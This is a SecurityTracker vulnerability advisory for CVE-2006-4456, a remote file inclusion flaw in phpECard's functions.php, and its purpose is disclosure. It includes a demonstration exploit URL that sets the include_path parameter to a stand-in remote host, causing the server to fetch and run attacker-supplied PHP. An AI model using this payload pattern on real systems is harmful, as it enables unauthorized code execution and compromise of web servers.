phpECard Include File Flaw in 'functions.php' Lets Remote Users Execute Arbitrary Code
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SecurityTracker Alert ID: 1016768
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SecurityTracker URL: http://securitytracker.com/id?1016768
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CVE Reference: CVE-2006-4456
(Links to External Site)
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Updated: Jun 8 2008
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Original Entry Date: Aug 30 2006
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Impact: Execution of arbitrary code via network, User access via network
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Exploit Included: Yes
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Version(s): 2.1.4 and prior versions
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Description: A vulnerability was reported in phpECard. A remote user can include and execute arbitrary code on the target system.
The 'functions.php' script does not properly validate user-supplied input in the 'include_path' parameter. A remote user can supply
a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code,
including operating system commands, will run with the privileges of the target web service.
A demonstration exploit URL is provided:
http://[target]/[Path]/functio
ns.php?include_path=http://evil_script?
LeAk discovered this vulnerability.
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Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.quick-xs.net/phpecard/ (Links to External Site)
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Cause: Input validation error, State error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Message History:
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